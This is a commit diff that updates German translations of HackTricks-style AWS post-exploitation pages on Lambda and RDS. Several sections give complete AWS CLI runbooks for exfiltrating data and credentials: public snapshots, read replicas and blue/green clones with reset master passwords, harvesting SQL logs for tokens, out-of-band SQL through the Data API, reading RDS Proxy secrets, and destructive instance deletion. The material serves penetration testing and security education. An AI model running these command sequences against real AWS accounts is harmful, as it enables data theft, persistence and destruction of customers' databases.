Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-10-07 15:40:31 +00:00
parent a48d87949a
commit c9485954ef
2 changed files with 470 additions and 29 deletions

View File

@@ -4,7 +4,7 @@
## Lambda
Für weitere Informationen siehe:
For more information check:
{{#ref}}
../../aws-services/aws-lambda-enum.md
@@ -12,13 +12,13 @@ Für weitere Informationen siehe:
### Exfilrtate Lambda Credentials
Lambda verwendet Umgebungsvariablen, um zur Laufzeit credentials zu injizieren. Wenn Sie Zugriff auf diese erhalten (durch Lesen von `/proc/self/environ` oder durch Verwendung der verwundbaren Funktion selbst), können Sie sie selbst verwenden. Sie liegen in den Standard-Variablennamen `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, und `AWS_ACCESS_KEY_ID`.
Lambda verwendet Umgebungsvariablen, um Credentials zur Laufzeit zu injizieren. Wenn Sie Zugriff auf diese erhalten (durch Lesen von `/proc/self/environ` oder durch Verwendung der verwundbaren Funktion selbst), können Sie sie selbst nutzen. Sie befinden sich in den Standard-Variablennamen `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` und `AWS_ACCESS_KEY_ID`.
Standardmäßig haben diese Schreibzugriff auf eine CloudWatch log group (deren Name in `AWS_LAMBDA_LOG_GROUP_NAME` gespeichert ist) sowie das Recht, beliebige log groups zu erstellen; Lambda functions haben jedoch häufig zusätzliche Berechtigungen, die nach ihrem vorgesehenen Zweck zugewiesen sind.
By default, these will have access to write to a cloudwatch log group (the name of which is stored in `AWS_LAMBDA_LOG_GROUP_NAME`), as well as to create arbitrary log groups, however lambda functions frequently have more permissions assigned based on their intended use.
### Steal Others Lambda URL Requests
Wenn ein Angreifer es schafft, RCE innerhalb einer Lambda zu erlangen, kann er HTTP-Anfragen anderer Benutzer an die Lambda stehlen. Enthalten die Anfragen sensible Informationen (cookies, credentials...) kann er diese abfangen.
Wenn ein Angreifer es schafft, RCE in einer Lambda zu erlangen, kann er HTTP-Requests anderer Benutzer an die Lambda abgreifen. Enthalten die Requests sensible Informationen (Cookies, Zugangsdaten ...), kann er diese stehlen.
{{#ref}}
aws-warm-lambda-persistence.md
@@ -26,7 +26,7 @@ aws-warm-lambda-persistence.md
### Steal Others Lambda URL Requests & Extensions Requests
Durch Missbrauch von Lambda Layers ist es außerdem möglich, extensions zu missbrauchen und Persistenz in der Lambda zu erreichen, sowie Anfragen zu stehlen und zu verändern.
Durch Missbrauch von Lambda Layers ist es außerdem möglich, Extensions zu missbrauchen und in der Lambda persistent zu bleiben, sowie Requests zu stehlen und zu verändern.
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -34,7 +34,7 @@ Durch Missbrauch von Lambda Layers ist es außerdem möglich, extensions zu miss
### AWS Lambda VPC Egress Bypass
Zwingen Sie eine Lambda-Funktion, eine eingeschränkte VPC zu verlassen, indem Sie ihre Konfiguration mit einer leeren VpcConfig aktualisieren (SubnetIds=[], SecurityGroupIds=[]). Die Funktion läuft dann im von Lambda verwalteten Netzwerkbereich und erlangt wieder ausgehenden Internetzugang, wodurch Egress-Kontrollen, die durch private VPC-Subnets ohne NAT durchgesetzt werden, umgangen werden.
Zwinge eine Lambda-Funktion aus einem eingeschränkten VPC, indem du ihre Konfiguration mit einer leeren VpcConfig aktualisierst (SubnetIds=[], SecurityGroupIds=[]). Die Funktion läuft dann im Lambda-verwalteten Netzwerkbereich, erlangt wieder ausgehenden Internetzugang und umgeht dadurch Egress-Kontrollen, die durch private VPC-Subnets ohne NAT durchgesetzt werden.
{{#ref}}
aws-lambda-vpc-egress-bypass.md
@@ -42,7 +42,7 @@ aws-lambda-vpc-egress-bypass.md
### AWS Lambda Runtime Pinning/Rollback Abuse
Missbrauchen Sie `lambda:PutRuntimeManagementConfig`, um eine Funktion auf eine bestimmte Runtime-Version festzusetzen (Manual) oder Updates einzufrieren (FunctionUpdate). Dadurch bleibt die Kompatibilität mit bösartigen layers/wrappers erhalten und die Funktion kann auf einer veralteten, verwundbaren Runtime belassen werden, was Exploitation und langfristige Persistenz erleichtert.
Missbrauche `lambda:PutRuntimeManagementConfig`, um eine Funktion an eine bestimmte Runtime-Version zu binden (Manual) oder Updates einzufrieren (FunctionUpdate). Das bewahrt die Kompatibilität mit bösartigen Layers/Wrappers und kann die Funktion auf einer veralteten, verwundbaren Runtime halten, um Exploits und langfristige Persistenz zu erleichtern.
{{#ref}}
aws-lambda-runtime-pinning-abuse.md
@@ -50,7 +50,7 @@ aws-lambda-runtime-pinning-abuse.md
### AWS Lambda Log Siphon via LoggingConfig.LogGroup Redirection
Missbrauchen Sie die erweiterten Logging-Kontrollen von `lambda:UpdateFunctionConfiguration`, um die Logs einer Funktion in eine vom Angreifer gewählte CloudWatch Logs log group umzuleiten. Dies funktioniert ohne Code- oder Ausführungsrollen-Änderung (die meisten Lambda-Rollen beinhalten bereits `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). Wenn die Funktion secrets/request bodies ausgibt oder mit Stack-Traces abstürzt, können Sie diese aus der neuen log group sammeln.
Missbrauche die erweiterten Logging-Kontrollen von `lambda:UpdateFunctionConfiguration`, um die Logs einer Funktion in eine vom Angreifer gewählte CloudWatch Logs log group umzuleiten. Das funktioniert ohne Code- oder Execution-Role-Änderungen (die meisten Lambda-Rollen beinhalten bereits `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). Wenn die Funktion Secrets/Request-Bodies ausgibt oder mit Stacktraces abstürzt, kannst du diese aus der neuen Log-Gruppe sammeln.
{{#ref}}
aws-lambda-loggingconfig-redirection.md
@@ -58,7 +58,7 @@ aws-lambda-loggingconfig-redirection.md
### AWS - Lambda Function URL Public Exposure
Machen Sie eine private Lambda Function URL zu einem öffentlichen, nicht authentifizierten Endpunkt, indem Sie den Function URL AuthType auf NONE setzen und eine resource-basierte Policy anhängen, die lambda:InvokeFunctionUrl für alle gewährt. Dadurch wird anonyme Invocation interner Funktionen ermöglicht und sensible Backend-Operationen können exponiert werden.
Mache eine private Lambda Function URL zu einem öffentlichen, unauthentifizierten Endpoint, indem du den Function URL AuthType auf NONE setzt und eine resource-based policy anhängst, die lambda:InvokeFunctionUrl für alle erlaubt. Dadurch wird anonyme Invocation interner Funktionen möglich und sensible Backend-Operationen können offengelegt werden.
{{#ref}}
aws-lambda-function-url-public-exposure.md
@@ -66,7 +66,7 @@ aws-lambda-function-url-public-exposure.md
### AWS Lambda Event Source Mapping Target Hijack
Missbrauchen Sie `UpdateEventSourceMapping`, um die Ziel-Lambda-Funktion einer bestehenden Event Source Mapping (ESM) zu ändern, sodass Records von DynamoDB Streams, Kinesis, oder SQS an eine vom Angreifer kontrollierte Funktion geliefert werden. Dies leitet Live-Daten stillschweigend um, ohne Produzenten oder den ursprünglichen Funktionscode zu berühren.
Missbrauche `UpdateEventSourceMapping`, um das Ziel einer vorhandenen Event Source Mapping (ESM) zu ändern, sodass Datensätze aus DynamoDB Streams, Kinesis oder SQS an eine vom Angreifer kontrollierte Funktion geliefert werden. Dies leitet Live-Daten stillschweigend um, ohne Produzenten oder den ursprünglichen Funktionscode zu verändern.
{{#ref}}
aws-lambda-event-source-mapping-hijack.md
@@ -74,7 +74,7 @@ aws-lambda-event-source-mapping-hijack.md
### AWS Lambda EFS Mount Injection data exfiltration
Missbrauchen Sie `lambda:UpdateFunctionConfiguration`, um einen bestehenden EFS Access Point an eine Lambda anzuhängen, und deployen Sie dann trivialen Code, der Dateien aus dem gemounteten Pfad auflistet/liest, um gemeinsam genutzte secrets/config zu exfiltrieren, auf die die Funktion zuvor keinen Zugriff hatte.
Missbrauche `lambda:UpdateFunctionConfiguration`, um einen bestehenden EFS Access Point an eine Lambda anzuhängen, und deploye dann trivialen Code, der Dateien vom gemounteten Pfad auflistet/liest, um geteilte Secrets/Configs zu exfiltrieren, auf die die Funktion zuvor keinen Zugriff hatte.
{{#ref}}
aws-lambda-efs-mount-injection.md

View File

@@ -1,10 +1,10 @@
# AWS - RDS Nachnutzung
# AWS - RDS Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## RDS
Weitere Informationen:
Für weitere Informationen siehe:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@ Weitere Informationen:
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
Wenn ein Angreifer über ausreichende Berechtigungen verfügt, kann er eine **DB öffentlich zugänglich** machen, indem er einen Snapshot der DB erstellt und daraus dann eine öffentlich zugängliche DB wiederherstellt.
Wenn ein Angreifer über ausreichende Berechtigungen verfügt, kann er eine **DB öffentlich zugänglich** machen, indem er einen Snapshot der DB erstellt und anschließend eine öffentlich zugängliche DB aus diesem Snapshot wiederherstellt.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
Ein Angreifer mit diesen Berechtigungen könnte einen snapshot einer DB erstellen und diesen **öffentlich** **verfügbar** machen. Danach könnte er in seinem eigenen Konto einfach eine DB aus diesem snapshot erstellen.
Ein Angreifer mit diesen Berechtigungen könnte **einen Snapshot einer DB erstellen** und ihn **öffentlich** **zugänglich** machen. Anschließend könnte er in seinem eigenen Konto einfach eine DB aus diesem Snapshot erstellen.
Wenn der Angreifer **nicht die `rds:CreateDBSnapshot`** hat, könnte er trotzdem **andere** erstellte snapshots **öffentlich** machen.
Wenn der Angreifer **nicht die `rds:CreateDBSnapshot`** hat, könnte er dennoch **andere** erstellte Snapshots **öffentlich** machen.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,48 +53,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
Ein Angreifer mit der Berechtigung `rds:DownloadDBLogFilePortion` kann **Portionen der Logdateien einer RDS-Instanz herunterladen**. Wenn sensible Daten oder Zugangsdaten versehentlich protokolliert wurden, könnte der Angreifer diese Informationen nutzen, um seine Privilegien zu eskalieren oder unautorisierte Aktionen durchzuführen.
Ein Angreifer mit der Berechtigung `rds:DownloadDBLogFilePortion` kann **Portionen der log files einer RDS-Instance herunterladen**. Wenn sensible Daten oder Zugangsdaten versehentlich in den log files protokolliert werden, könnte der Angreifer diese Informationen nutzen, um seine Privilegien zu eskalieren oder unautorisierte Aktionen durchzuführen.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**Potenzielle Auswirkung**: Zugriff auf sensible Informationen oder unautorisierte Aktionen mithilfe von leaked credentials.
**Mögliche Auswirkungen**: Zugriff auf sensible Informationen oder unautorisierte Aktionen mithilfe von leaked credentials.
### `rds:DeleteDBInstance`
Ein Angreifer mit diesen Berechtigungen kann **einen DoS auf bestehende RDS-Instanzen durchführen**.
Ein Angreifer mit diesen Berechtigungen kann **DoS existing RDS instances**.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
**Potentielle Auswirkung**: Löschung vorhandener RDS-Instanzen und möglicher Datenverlust.
**Potentielle Auswirkungen**: Löschung vorhandener RDS instances und möglicher Datenverlust.
### `rds:StartExportTask`
> [!NOTE]
> TODO: Testen
> TODO: Test
Ein Angreifer mit dieser Berechtigung kann **einen RDS-Instance-Snapshot in einen S3-Bucket exportieren**. Wenn der Angreifer Kontrolle über den Ziel-S3-Bucket hat, kann er potenziell auf sensible Daten im exportierten Snapshot zugreifen.
Ein attacker mit dieser Berechtigung kann **export an RDS instance snapshot to an S3 bucket**. Wenn der attacker Kontrolle über das Ziel S3 bucket hat, sind sensible Daten im exportierten snapshot potenziell zugänglich.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Potentielle Auswirkungen**: Zugriff auf sensible Daten im exportierten Snapshot.
**Potential impact**: Zugriff auf sensible Daten in dem exportierten Snapshot.
### Cross-Region Automated Backups-Replikation für heimliche Wiederherstellung (`rds:StartDBInstanceAutomatedBackupsReplication`)
### Cross-Region-Replikation automatisierter Backups für heimliche Wiederherstellung (`rds:StartDBInstanceAutomatedBackupsReplication`)
Missbrauche die Cross-Region Automated Backups-Replikation, um die automatisierten Backups einer RDS-Instance stillschweigend in eine andere AWS-Region zu duplizieren und dort wiederherzustellen. Der Angreifer kann die wiederhergestellte DB anschließend öffentlich zugänglich machen und das Master-Passwort zurücksetzen, um außerhalb des regulären Betriebs auf Daten in einer Region zuzugreifen, die Verteidiger möglicherweise nicht überwachen.
Missbrauche die Cross-Region-Replikation automatisierter Backups, um die automatisierten Backups einer RDS-Instanz stillschweigend in eine andere AWS-Region zu duplizieren und dort wiederherzustellen. Der Angreifer kann die wiederhergestellte DB dann öffentlich zugänglich machen und das Master-Passwort zurücksetzen, um außerhalb des normalen Pfades auf Daten in einer Region zuzugreifen, die Verteidiger möglicherweise nicht überwachen.
Erforderliche Berechtigungen (mindestens):
Permissions needed (minimum):
- `rds:StartDBInstanceAutomatedBackupsReplication` in der Ziel-Region
- `rds:DescribeDBInstanceAutomatedBackups` in der Ziel-Region
- `rds:RestoreDBInstanceToPointInTime` in der Ziel-Region
- `rds:ModifyDBInstance` in der Ziel-Region
- `rds:StopDBInstanceAutomatedBackupsReplication` (optionale Bereinigung)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (um die wiederhergestellte DB zugänglich zu machen)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (um die wiederhergestellte DB öffentlich zugänglich zu machen)
Auswirkung: Persistenz und Datenexfiltration durch Wiederherstellen einer Kopie von Produktionsdaten in eine andere Region und öffentliches Freigeben mit vom Angreifer kontrollierten Zugangsdaten.
Impact: Persistenz und Datenexfiltration, indem eine Kopie von Produktionsdaten in einer anderen Region wiederhergestellt und diese mit vom Angreifer kontrollierten Zugangsdaten öffentlich zugänglich gemacht wird.
<details>
<summary>End-to-end-CLI (Platzhalter ersetzen)</summary>
<summary>End-to-end CLI (Platzhalter ersetzen)</summary>
```bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
@@ -163,4 +163,445 @@ aws rds stop-db-instance-automated-backups-replication \
</details>
### Vollständiges SQL-Logging über DB-Parametergruppen aktivieren und über RDS-Log-APIs exfiltrieren
Missbrauche `rds:ModifyDBParameterGroup` zusammen mit RDS-Log-Download-APIs, um alle von Anwendungen ausgeführten SQL-Anweisungen zu erfassen (keine DB-Engine-Anmeldedaten erforderlich). Aktiviere das Engine-SQL-Logging und lade die Logdateien via `rds:DescribeDBLogFiles` und `rds:DownloadDBLogFilePortion` (oder die REST-API `downloadCompleteLogFile`) herunter. Nützlich, um Abfragen zu sammeln, die Geheimnisse/PII/JWTs enthalten können.
Benötigte Berechtigungen (mindestens):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (nur zum Anhängen einer benutzerdefinierten Parametergruppe, falls die Instanz die Standardgruppe verwendet)
- `rds:RebootDBInstance` (für Parameter, die einen Reboot erfordern, z. B. PostgreSQL)
Schritte
1) Recon: Ziel und aktuelle Parametergruppe
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
```
2) Stelle sicher, dass eine benutzerdefinierte DB-Parametergruppe angehängt ist (die Standardgruppe kann nicht bearbeitet werden)
- Wenn die Instanz bereits eine benutzerdefinierte Gruppe verwendet, verwende deren Namen im nächsten Schritt.
- Andernfalls erstelle und hänge eine an, die zur Engine-Familie passt:
```bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"
aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
```
3) Detailliertes SQL-Logging aktivieren
- MySQL-Engines (sofort / kein Neustart):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
```
- PostgreSQL engines (Neustart erforderlich):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
```
4) Die Workload laufen lassen (oder Abfragen generieren). SQL-Anweisungen werden in die Engine-Dateiprotokolle geschrieben
- MySQL: `general/mysql-general.log`
- PostgreSQL: `postgresql.log`
5) Logs entdecken und herunterladen (keine DB-Zugangsdaten erforderlich)
```bash
aws rds describe-db-log-files --db-instance-identifier <DB>
# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
```
6) Offline nach sensiblen Daten analysieren
```bash
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
```
Beweismaterial (geschwärzt):
```text
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
```
Bereinigung
- Setze Parameter auf Standardwerte zurück und starte neu, falls erforderlich:
```bash
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"
# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
```
Auswirkung: Post-exploitation Datenzugriff durch Erfassen aller application SQL statements über AWS APIs (keine DB creds), möglicherweise leaking von secrets, JWTs und PII.
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
RDS read replicas missbrauchen, um out-of-band read access zu erhalten, ohne die primary instance credentials zu berühren. Ein Angreifer kann von einer Produktionsinstanz eine read replica erstellen, das Master-Passwort der Replica zurücksetzen (dies ändert die Primary nicht) und optional die Replica öffentlich zugänglich machen, um Daten zu exfiltrieren.
Erforderliche Berechtigungen (Minimum):
- `rds:DescribeDBInstances`
- `rds:CreateDBInstanceReadReplica`
- `rds:ModifyDBInstance`
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
Auswirkung: Read-only Zugriff auf Produktionsdaten über eine Replica mit vom Angreifer kontrollierten credentials; geringere Erkennungswahrscheinlichkeit, da die Primary unberührt bleibt und die Replikation fortläuft.
```bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table
# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'
# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
```
Beispielbelege (MySQL):
- Replica-DB-Status: `available`, Lese-Replikation: `replicating`
- Erfolgreiche Verbindung mit neuem Passwort und `@@read_only=1`, die schreibgeschützten Zugriff auf die Replica bestätigt.
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
RDS Blue/Green missbrauchen, um eine Produktions-DB in eine kontinuierlich replizierte, schreibgeschützte Green-Umgebung zu klonen. Anschließend die Green-Master-Zugangsdaten zurücksetzen, um auf die Daten zuzugreifen, ohne die Blue (prod)-Instanz anzufassen. Das ist unauffälliger als die Freigabe von Snapshots und umgeht oft Überwachung, die sich nur auf die Quelle konzentriert.
```bash
# 1) Recon find eligible source (nonAurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'
# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version
# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>
# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'
# Typical green id: <blue>-green-XXXX
# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately
# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately
# 4) Connect to the green endpoint and query/exfiltrate (green is readonly)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text
# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
# 5) Cleanup remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
```
Impact: Nur-Lese, aber voller Datenzugriff auf eine nahezu Echtzeit-Kopie der Produktion, ohne die Produktionsinstanz zu verändern. Nützlich für unauffällige Datenausleitung und Offline-Analyse.
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
Missbrauche Aurora, um das RDS Data API HTTP endpoint auf einem Ziel-Cluster zu aktivieren, das master password auf einen von dir kontrollierten Wert zurückzusetzen und SQL über HTTPS auszuführen (kein VPC-Netzwerkpfad erforderlich). Funktioniert auf Aurora-Engines, die die Data API/EnableHttpEndpoint unterstützen (z. B. Aurora MySQL 8.0 provisioned; einige Aurora PostgreSQL/MySQL-Versionen).
Permissions (minimum):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
Impact: Umgehung von Netzwerksegmentierung und Exfiltration von Daten über AWS APIs ohne direkte VPC-Konnektivität zur DB.
<details>
<summary>End-to-end CLI (Aurora MySQL Beispiel)</summary>
```bash
# 1) Identify target cluster ARN
REGION=us-east-1
CLUSTER_ID=<target-cluster-id>
CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \
--db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].DBClusterArn' --output text)
# 2) Enable Data API HTTP endpoint on the cluster
# Either of the following (depending on API/engine support):
aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"
# or
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--enable-http-endpoint --apply-immediately
# Wait until HttpEndpointEnabled is True
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].HttpEndpointEnabled' --output text
# 3) Reset master password to attacker-controlled value
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--master-user-password 'Sup3rStr0ng!1' --apply-immediately
# Wait until pending password change is applied
while :; do
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text)
[[ "$P" == "None" || "$P" == "null" ]] && break
sleep 10
done
# 4) Create a Secrets Manager secret for Data API auth
SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \
--query ARN --output text)
# 5) Prove out-of-band SQL via HTTPS using rds-data
# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \
--format-records-as JSON
```
</details>
Hinweise:
- If multi-statement SQL is rejected by rds-data, issue separate execute-statement calls.
- For engines where modify-db-cluster --enable-http-endpoint has no effect, use rds enable-http-endpoint --resource-arn.
- Ensure the engine/version actually supports the Data API; otherwise HttpEndpointEnabled will remain False.
### DB-Anmeldeinformationen via RDS Proxy auth secrets erlangen (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
Missbrauche die RDS Proxy-Konfiguration, um das Secrets Manager secret zu finden, das für die Backend-Authentifizierung verwendet wird, und lese dieses secret aus, um Datenbank-Zugangsdaten zu erhalten. Viele Umgebungen gewähren weitreichende `secretsmanager:GetSecretValue`-Berechtigungen, was dies zu einem wenig aufwendigen Pivot zu DB-Zugangsdaten macht. Falls das secret eine CMK verwendet, können falsch konfigurierte KMS-Rechte auch `kms:Decrypt` erlauben.
Benötigte Berechtigungen (mindestens):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` on the referenced SecretArn
- Optional when the secret uses a CMK: `kms:Decrypt` on that key
Impact: Immediate disclosure of DB username/password configured on the proxy; enables direct DB access or further lateral movement.
Schritte
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table
# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
```
Lab (minimal zur Reproduktion)
```bash
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
```
Aufräumen (Labor)
```bash
aws rds delete-db-proxy --db-proxy-name p0
